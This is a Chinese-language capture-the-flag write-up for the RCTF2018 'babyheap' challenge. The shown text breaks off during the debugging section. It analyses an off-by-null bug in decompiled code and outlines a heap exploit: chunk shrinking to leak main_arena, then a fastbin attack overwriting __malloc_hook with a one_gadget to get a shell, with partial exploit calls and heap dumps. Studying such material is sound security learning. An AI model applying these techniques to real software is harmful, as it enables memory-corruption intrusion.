0x01题目分析
qts@qts-PC:~/奇幻世界/RCTF2018/babyheap_38af156349af04e8f6dc22a0ffee6a7a$ ./checksec.sh --file babyheap
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH babyheap
保护全开,程序开启了Full RELRO 我们无法覆盖got表。
if ( read(fd, &buf, 2uLL) < 0 )
sub_B90((__int64)"read() error");
v4 = calloc(buf, 1uLL);
if ( !v4 )
sub_B90((__int64)"memory error");
main函数首先从随机数文件读取两个字节随机分配一个chunk,这样使堆块相对偏移随机化。
read(fd, &addr, 6uLL);
addr = (void *)((unsigned __int64)addr & 0xFFFFFFFFFFF000LL);
unk_202020 = mmap(addr, 0x1000uLL, 3, 34, -1, 0LL);
if ( !unk_202020 )
sub_B90((__int64)"memory error");
mmap出一块内存用于存放全局变量,该地址也是随机的。
if ( nmemb <= 0 || nmemb > 256 )
sub_B90((__int64)"invalid size");
v5 = calloc(nmemb, 1uLL);
if ( !v5 )
sub_B90((__int64)"memory error");
printf("input chunk content: ", 1LL);
read_n((__int64)v5, nmemb);
堆块大小为(0,256],每次分配都会将相应区域清零。进入read_n函数,这里存在off-by-null漏洞,当循环结束时会把超出a2的一个字节清零。
for ( i = 0; i < a2; ++i )
{
buf = 0;
if ( read(0, &buf, 1uLL) < 0 )
sub_B90((__int64)"read() error");
*(_BYTE *)(a1 + i) = buf;
if ( buf == '\n' )
break;
}
*(_BYTE *)(i + a1) = 0;
0x02 利用思路
利用堆块重用和off-by-null(prev size字段的重用)可以改写本chunk的prev_size字段为任意值和size字段中的prev_inuse位置0,这样当释放该chunk的时候就会根据prev_size字段去合并前面的“空闲”堆块并将其释放到unsort bin中(chunk shrink)。这会导致当前正在使用的块也被一起释放到unsort bin中,就有可能泄露main arena 的地址。
fastbin attack实现任意地址写,覆盖__malloc_hook为one_gadget的地址得到shell。
0x03 调试过程
add(0x100,'a'*0x100) #0
add(0x78,'b'*0x70) #1
add(0xf0,'c'*0xf0) #2
add(0x40,'e'*0x40) #3
delete(0)
delete(1)
add(0x78,'d'*0x70+p64(0x190)) #0 修改prev_size字段为0x190,off-by-null覆盖prev_inuse字段为0
gef➤ heap chunks
Chunk(addr=0x55ffbe56d010, size=0x64d0, flags=PREV_INUSE)
[0x000055ffbe56d010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(a